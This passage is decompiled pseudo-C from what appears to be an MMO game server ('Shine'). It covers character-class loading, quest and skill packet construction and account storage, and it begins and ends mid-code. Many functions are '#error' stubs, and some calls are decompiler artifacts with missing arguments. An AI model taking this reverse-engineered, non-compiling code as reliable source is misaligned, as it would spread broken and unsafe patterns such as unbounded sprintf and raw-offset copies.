v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcleverfighter.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classfighter.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classfighter.baseclass_0.baseclass_4); v1->ccm_classdefault.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classdefault.baseclass_4); } // 63AC70: using guessed type int (__stdcall *CharClass___vftable_[8])(int iti, int IsPutOnBelonged); //----- (0043F590) -------------------------------------------------------- void __thiscall CharClass::cc_Load(CharClass *this, Name4 *world, char *txt) { CharClass *v3; // ebp@1 int v4; // ecx@1 int v5; // edx@1 int v6; // eax@1 OptionReader *v7; // edi@1 int v8; // eax@2 int v9; // esi@5 int v10; // ebp@5 void *v11; // eax@6 ORToken v12; // [sp-20h] [bp-ECh]@6 int v13; // [sp-1Ch] [bp-E8h]@6 int v14; // [sp-18h] [bp-E4h]@6 int v15; // [sp-14h] [bp-E0h]@6 int v16; // [sp-10h] [bp-DCh]@6 char *v17; // [sp-Ch] [bp-D8h]@6 int v18; // [sp-8h] [bp-D4h]@1 int v19; // [sp-4h] [bp-D0h]@6 int v20; // [sp+10h] [bp-BCh]@1 ORToken *v21; // [sp+14h] [bp-B8h]@6 FunctionEntarance _; // [sp+18h] [bp-B4h]@1 int buf; // [sp+1Ch] [bp-B0h]@1 int v24; // [sp+20h] [bp-ACh]@1 int v25; // [sp+24h] [bp-A8h]@1 int v26; // [sp+28h] [bp-A4h]@1 char v27; // [sp+2Ch] [bp-A0h]@1 char path[128]; // [sp+3Ch] [bp-90h]@1 unsigned int v29; // [sp+BCh] [bp-10h]@1 int v30; // [sp+C8h] [bp-4h]@1 v3 = this; v29 = (unsigned int)&v20 ^ __security_cookie; _.fe_FunctionCode = "CharClass::cc_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharClass::cc_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharClass::cc_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v6 = *(_DWORD *)&world->n4_name[12]; v24 = v4; v18 = (int)&buf; v25 = v5; v30 = 0; v26 = v6; v27 = 0; sprintf(path, "../9Data/Hero/World/%s/%s.txt"); v7 = &v3->baseclass_4; if ( !OptionReader::or_Read(&v3->baseclass_4, path) ) { sprintf(path, "../9Data/Hero/World/%s.txt"); BYTE3(v20) = OptionReader::or_Read(&v3->baseclass_4, path); v8 = OptionReader::or_ErrorLine(&v3->baseclass_4); if ( !BYTE3(v20) ) { AssertClass::ac_AssertFail(&shineassert, "CharClass::cc_Load : Error in read", v8); ShineExit("CharClass::cc_Load"); } } v9 = 1; v10 = (int)&v3->cc_array[1]; do { v19 = 0; v18 = v9; v17 = "Level"; v21 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "Param", 0x14u); v11 = OptionReader::or_SelectFrom(v7, v12, v17, v18, v19); *(_DWORD *)v10 = v11; if ( v11 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "CharClass::cc_Load : Error in level", v9); ShineExit("CharClass::cc_Load"); } ++v9; v10 += 4; } while ( (unsigned int)v9 < 0x97 ); --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharClass::cc_Load"); __security_check_cookie((unsigned int)&v20 ^ v29); } //----- (0043F770) -------------------------------------------------------- void __thiscall CharClassManager::ccm_Load(CharClassManager *this, Name4 *world) { CharClassManager *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharClassManager::ccm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharClassManager::ccm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharClass::cc_Load(&v2->ccm_classfighter.baseclass_0, world, "ParamFighterServer"); CharClass::cc_Load(&v2->ccm_classcleverfighter.baseclass_0.baseclass_0, world, "ParamCleverFighterServer"); CharClass::cc_Load(&v2->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0, world, "ParamWarriorServer"); CharClass::cc_Load( &v2->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamGladiatorServer"); CharClass::cc_Load(&v2->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamKnightServer"); CharClass::cc_Load(&v2->ccm_classcleric.baseclass_0, world, "ParamClericServer"); CharClass::cc_Load(&v2->ccm_classhighcleric.baseclass_0.baseclass_0, world, "ParamHighClericServer"); CharClass::cc_Load(&v2->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0, world, "ParamPaladinServer"); CharClass::cc_Load( &v2->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamHolyKnightServer"); CharClass::cc_Load( &v2->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamGuardianServer"); CharClass::cc_Load(&v2->ccm_classarcher.baseclass_0, world, "ParamArcherServer"); CharClass::cc_Load(&v2->ccm_classhawkarcher.baseclass_0.baseclass_0, world, "ParamHawkArcherServer"); CharClass::cc_Load(&v2->ccm_classscout.baseclass_0.baseclass_0.baseclass_0, world, "ParamScoutServer"); CharClass::cc_Load( &v2->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamSharpShooterServer"); CharClass::cc_Load(&v2->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamRangerServer"); CharClass::cc_Load(&v2->ccm_classmage.baseclass_0, world, "ParamMageServer"); CharClass::cc_Load(&v2->ccm_classwizmage.baseclass_0.baseclass_0, world, "ParamWizMageServer"); CharClass::cc_Load(&v2->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0, world, "ParamEnchanterServer"); CharClass::cc_Load(&v2->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamWarrockServer"); CharClass::cc_Load(&v2->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamWizardServer"); CharClass::cc_Load(&v2->ccm_classjoker.baseclass_0, world, "ParamJokerServer"); CharClass::cc_Load(&v2->ccm_classchaser.baseclass_0.baseclass_0, world, "ParamChaserServer"); CharClass::cc_Load(&v2->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0, world, "ParamCruelServer"); CharClass::cc_Load(&v2->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamCloserServer"); CharClass::cc_Load( &v2->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamAssassinServer"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharClassManager::ccm_Load"); } //----- (0043F9B0) -------------------------------------------------------- #error "43F9B0: undefined or illegal type '#593' (funcsize=38)" //----- (0043FA30) -------------------------------------------------------- #error "43FA30: undefined or illegal type '#593' (funcsize=36)" //----- (0043FAB0) -------------------------------------------------------- #error "43FAB0: undefined or illegal type '#593' (funcsize=38)" //----- (0043FB30) -------------------------------------------------------- #error "43FB30: undefined or illegal type '#593' (funcsize=38)" //----- (0043FBB0) -------------------------------------------------------- CharClass *__thiscall CharClassManager::operator__(CharClassManager *this, char cc) { CharClass *result; // eax@1 result = (CharClass *)this; if ( (unsigned __int8)cc < 0x20u ) result = this->ccm_array[(unsigned __int8)cc]; return result; } //----- (0043FBD0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_SetRegistNumber(int regnum) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SetRegistNumber", 0); } //----- (0043FBF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(int this) { return *(_BYTE *)(this + 32250) + *(_BYTE *)(this + 32251) + *(_BYTE *)(this + 32252) + *(_BYTE *)(this + 32253) + *(_BYTE *)(this + 32254); } //----- (0043FC30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_CharDispositionData(int this, int data) { int result; // eax@1 result = *(_DWORD *)(this + 32160) + 171; *(_DWORD *)result = *(_DWORD *)data; *(_DWORD *)(result + 4) = *(_DWORD *)(data + 4); *(_DWORD *)(result + 8) = *(_DWORD *)(data + 8); *(_DWORD *)(result + 12) = *(_DWORD *)(data + 12); *(_BYTE *)(result + 16) = *(_BYTE *)(data + 16); return result; } //----- (0043FC60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SpamRecvDataFromWM(void *this, int Data) { void *v2; // esi@1 unsigned int v3; // edi@3 int v4; // eax@3 int v5; // eax@4 unsigned int v6; // ecx@5 v2 = this; if ( Data ) { v3 = clockwatch.cw_CurrTick; v4 = time(0); if ( *(_DWORD *)Data ) { v5 = v3 + 10 * *(_DWORD *)Data; *((_DWORD *)v2 + 35947) = v5; *((_DWORD *)v2 + 35948) = v5 + 10 * *(_DWORD *)(Data + 4); *((_DWORD *)v2 + 35949) = 1; } else { *((_DWORD *)v2 + 35947) = v3; v6 = *(_DWORD *)(Data + 4); if ( v6 <= v4 ) { *((_DWORD *)v2 + 35948) = v3; } else { *((_DWORD *)v2 + 35948) = v3 + 10 * (v6 - v4); *((_DWORD *)v2 + 35949) = 1; } } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_CharSpammerData : data is NULL", 0); } } //----- (0043FD10) -------------------------------------------------------- #error "43FD10: undefined or illegal type '#593' (funcsize=53)" //----- (0043FDF0) -------------------------------------------------------- #error "43FDF0: undefined or illegal type '#593' (funcsize=58)" //----- (0043FEE0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_BASE_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_BYTE *)(this + 20) = *(_BYTE *)(a2 + 20); *(_BYTE *)(this + 21) = *(_BYTE *)(a2 + 21); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_WORD *)(this + 30) = *(_WORD *)(a2 + 30); *(_WORD *)(this + 32) = *(_WORD *)(a2 + 32); *(_WORD *)(this + 34) = *(_WORD *)(a2 + 34); *(_WORD *)(this + 36) = *(_WORD *)(a2 + 36); *(_DWORD *)(this + 38) = *(_DWORD *)(a2 + 38); *(_DWORD *)(this + 42) = *(_DWORD *)(a2 + 42); *(_DWORD *)(this + 46) = *(_DWORD *)(a2 + 46); *(_DWORD *)(this + 50) = *(_DWORD *)(a2 + 50); *(_DWORD *)(this + 54) = *(_DWORD *)(a2 + 54); *(_DWORD *)(this + 58) = *(_DWORD *)(a2 + 58); *(_DWORD *)(this + 62) = *(_DWORD *)(a2 + 62); *(_DWORD *)(this + 66) = *(_DWORD *)(a2 + 66); *(_DWORD *)(this + 70) = *(_DWORD *)(a2 + 70); *(_DWORD *)(this + 74) = *(_DWORD *)(a2 + 74); *(_BYTE *)(this + 78) = *(_BYTE *)(a2 + 78); *(_DWORD *)(this + 79) = *(_DWORD *)(a2 + 79); *(_WORD *)(this + 83) = *(_WORD *)(a2 + 83); *(_BYTE *)(this + 85) = *(_BYTE *)(a2 + 85); *(_DWORD *)(this + 86) = *(_DWORD *)(a2 + 86); *(_WORD *)(this + 90) = *(_WORD *)(a2 + 90); *(_BYTE *)(this + 92) = *(_BYTE *)(a2 + 92); *(_DWORD *)(this + 93) = *(_DWORD *)(a2 + 93); return result; } //----- (0043FFC0) -------------------------------------------------------- #error "43FFC0: undefined or illegal type '#593' (funcsize=66)" //----- (004400C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charsharpdata(void *this, int data) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charsharpdata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_charsharpdata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 8067) = *(_DWORD *)data; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4153; *(_DWORD *)(v3 + 2) = *(_DWORD *)data; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charsharpdata : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charsharpdata"); } //----- (004401B0) -------------------------------------------------------- #error "4401B0: undefined or illegal type '#593' (funcsize=66)" //----- (004402B0) -------------------------------------------------------- #error "4402B0: undefined or illegal type '#593' (funcsize=66)" //----- (004403B0) -------------------------------------------------------- #error "4403B0: undefined or illegal type '#593' (funcsize=66)" //----- (004404B0) -------------------------------------------------------- #error "4404B0: undefined or illegal type '#593' (funcsize=66)" //----- (004405B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDoing(void *this, int data) { void *v2; // edi@1 signed int v3; // ebx@1 char *v4; // ecx@1 void *v5; // edx@2 int v6; // esi@5 int v7; // eax@7 void *v8; // [sp+10h] [bp-14h]@1 v2 = this; v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK((CQuest *)((char *)v2 + 66176), (PROTO_NC_CHAR_QUEST_DOING_CMD *)data); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4154; *(_DWORD *)(v4 + 2) = *(_DWORD *)data; *((_WORD *)v4 + 3) = *(_WORD *)(data + 4); if ( v4[7] ) { v5 = v4 + 8; do { memcpy(v5, (char *)v5 + data - (_DWORD)(v4 + 2), 0x20u); ++v3; v5 = (char *)v5 + 32; } while ( v3 < (unsigned __int8)v4[7] ); v2 = v8; } v6 = 32 * (unsigned __int8)v4[7] + 8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 32 * (unsigned __int8)v4[7] + 8) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing : Packet Too Long", v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"); } //----- (004406F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDone(void *this, int data) { void *v2; // edi@1 char *v3; // ecx@1 int v4; // eax@1 signed int v5; // edx@1 int v6; // ecx@2 int v7; // esi@4 int v8; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDone"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_StoreQuestDone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK((CQuest *)((char *)v2 + 66176), (PROTO_NC_CHAR_QUEST_DONE_CMD *)data); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4155; v4 = (int)(v3 + 2); *(_DWORD *)(v3 + 2) = *(_DWORD *)data; *((_WORD *)v3 + 3) = *(_WORD *)(data + 4); v5 = 0; if ( *((_WORD *)v3 + 3) ) { v6 = (int)(v3 + 8); do { *(_WORD *)v6 = *(_WORD *)(data - v4 + v6); ++v5; v6 += 2; } while ( v5 < *(_WORD *)(v4 + 4) ); } v7 = 2 * *(_WORD *)(v4 + 4) + 8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2 * *(_WORD *)(v4 + 4) + 8) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing : Packet Too Long", v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDone"); } //----- (00440820) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestRead(void *this, int data) { void *v2; // edi@1 char *v3; // eax@1 int v4; // eax@1 signed int v5; // edx@1 int v6; // ecx@2 int v7; // esi@4 int v8; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestRead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_StoreQuestRead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuest::Recv_NC_CHAR_QUEST_READ_CMD_ACK((CQuest *)((char *)v2 + 66176), (PROTO_NC_CHAR_QUEST_READ_CMD *)data); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4302; v4 = (int)(v3 + 2); *(_DWORD *)v4 = *(_DWORD *)data; *(_WORD *)(v4 + 4) = *(_WORD *)(data + 4); v5 = 0; if ( *(_WORD *)(v4 + 4) ) { v6 = v4 + 6; do { *(_WORD *)v6 = *(_WORD *)(data - v4 + v6); ++v5; v6 += 2; } while ( v5 < *(_WORD *)(v4 + 4) ); } v7 = 2 * *(_WORD *)(v4 + 4) + 8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2 * *(_WORD *)(v4 + 4) + 8) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_StoreQuestRead : Packet Too Long", v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestRead"); } //----- (00440950) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestRepeat(void *this, int data) { void *v2; // edi@1 signed int v3; // ebx@1 char *v4; // eax@1 int v5; // eax@1 void *v6; // edx@2 int v7; // esi@5 int v8; // eax@7 void *v9; // [sp+10h] [bp-14h]@1 v2 = this; v9 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestRead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_StoreQuestRead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; CQuest::Recv_NC_CHAR_QUEST_REPEAT_CMD_ACK((CQuest *)((char *)v2 + 66176), (PROTO_NC_CHAR_QUEST_REPEAT_CMD *)data); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4311; v5 = (int)(v4 + 2); *(_DWORD *)v5 = *(_DWORD *)data; *(_WORD *)(v5 + 4) = *(_WORD *)(data + 4); if ( *(_WORD *)(v5 + 4) > 0u ) { v6 = (void *)(v5 + 6); do { memcpy(v6, (char *)v6 + data - v5, 0x20u); ++v3; v6 = (char *)v6 + 32; } while ( v3 < *(_WORD *)(v5 + 4) ); v2 = v9; } v7 = 32 * *(_WORD *)(v5 + 4) + 8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 32 * *(_WORD *)(v5 + 4) + 8) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_StoreQuestRepeat : Packet Too Long", v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestRead"); } //----- (00440A90) -------------------------------------------------------- #error "440A90: undefined or illegal type '#593' (funcsize=66)" //----- (00440B90) -------------------------------------------------------- #error "440B90: undefined or illegal type '#593' (funcsize=66)" //----- (00440C90) -------------------------------------------------------- #error "440C90: undefined or illegal type '#593' (funcsize=66)" //----- (00440D90) -------------------------------------------------------- #error "440D90: undefined or illegal type '#593' (funcsize=66)" //----- (00440E90) -------------------------------------------------------- #error "440E90: undefined or illegal type '#593' (funcsize=69)" //----- (00440FA0) -------------------------------------------------------- #error "440FA0: undefined or illegal type '#593' (funcsize=66)" //----- (004410A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charskilldata(void *this, int data) { void *v2; // ebp@1 unsigned __int8 v3; // al@1 CharClassManager *v4; // eax@2 char *v5; // esi@5 int v6; // ebx@5 int v7; // eax@5 int v8; // eax@8 int v9; // ebx@8 int v10; // eax@9 int v11; // edi@12 int v12; // eax@14 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charskilldata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_charskilldata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*((_BYTE *)v2 + 32268) >> 2) & 0x1F; if ( v3 >= 0x20u ) v4 = &charclassmanager; else v4 = (CharClassManager *)charclassmanager.ccm_array[v3]; *((_DWORD *)v2 + 964) = v4; (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); CharaterSkillList::csl_Store((CharaterSkillList *)((char *)v2 + 68496), (PROTO_NC_CHAR_SKILL_CMD *)data); if ( *((_DWORD *)v2 + 17128) == *(_WORD *)(data + 5) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4157; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1712))(v2); v7 = CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)((char *)v2 + 68496)); if ( v6 >= v7 ) { v5[2] = v6 - v7; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charskilldata : Too many empow", 0); v5[2] = 0; } *(_DWORD *)(v5 + 6) = *(_DWORD *)data; v8 = *((_DWORD *)v2 + 17128); v9 = 0; *((_WORD *)v5 + 2) = v8; v5[3] = 1; if ( (_WORD)v8 ) { do { v10 = CharaterSkillList::csl_FillSendBuffer_Client( (CharaterSkillList *)((char *)v2 + 68496), (PROTO_NC_CHAR_SKILLCLIENT_CMD *)v5 + 1, v9, (unsigned __int16 *)v5 + 2); v9 = v10; if ( v10 <= 0 ) break; if ( v10 >= *((_WORD *)v5 + 2) ) v5[3] |= 2u; v11 = 12 * (*((_WORD *)v5 + 5) + 1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v11) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_charskilldata : Packet Too Long", v11); } v5[3] = v5[3] & 2 ^ ((v5[3] & 0xFC) + 4); } while ( v9 < *((_WORD *)v5 + 2) ); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charskilldata"); } //----- (00441270) -------------------------------------------------------- #error "441270: undefined or illegal type '#593' (funcsize=66)" //----- (00441370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Storegamedata(void *this, int gamedata) { void *v2; // esi@1 unsigned int v3; // eax@1 unsigned __int16 v4; // ax@1 char *v5; // eax@3 int v6; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Storegamedata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Storegamedata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 8070) = *(_DWORD *)gamedata; *((_BYTE *)v2 + 32284) = *(_BYTE *)(gamedata + 4); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v4 = PartyManufacture::pm_FindParty(&partymanufacture, v3); if ( *(_WORD *)((char *)v2 + 32281) != v4 ) *(_WORD *)((char *)v2 + 32281) = v4; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4168; *(_DWORD *)(v5 + 2) = *(_DWORD *)((char *)v2 + 32281); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Storegamedata : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Storegamedata"); } //----- (00441490) -------------------------------------------------------- #error "441490: undefined or illegal type '#593' (funcsize=66)" //----- (00441590) -------------------------------------------------------- #error "441590: undefined or illegal type '#593' (funcsize=48)" //----- (00441660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_accountstoragefill(void *this, int accstorage) { void *v2; // ebp@1 char *v3; // esi@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 char v7; // al@1 unsigned __int8 v8; // bl@1 int v9; // eax@5 char v10; // al@6 char v11; // cl@7 int itemlen; // [sp+10h] [bp-14h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_accountstoragefill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_accountstoragefill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ItemBag::ib_Initializetotal( (ItemBag *)v2 + 17444, (char *)(accstorage + 16), (PROTO_ITEMPACKET_TOTAL *)(accstorage + 17), 6); *((_DWORD *)v2 + 17442) = *(_DWORD *)(accstorage + 8); *((_DWORD *)v2 + 17443) = *(_DWORD *)(accstorage + 12); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 15368; *(_DWORD *)(v3 + 2) = *(_DWORD *)(accstorage + 8); *(_DWORD *)(v3 + 6) = *(_DWORD *)(accstorage + 12); v3[10] = 16; v3[11] = *(_BYTE *)(accstorage + 6); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)v4; *((_DWORD *)v6 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v4 + 12); v6[16] = 0; itemlen = ItemAccountStorage::ias_FillBufferItem( (ItemAccountStorage *)((char *)v2 + 69776), v3 + 13, (PROTO_ITEMPACKET_INFORM *)(v3 + 14), v6, 36 * (unsigned __int8)v3[11], 36 * (unsigned __int8)v3[11] + 35); v7 = v3[13]; v3[12] = *(_BYTE *)(accstorage + 7); v8 = *(_BYTE *)(accstorage + 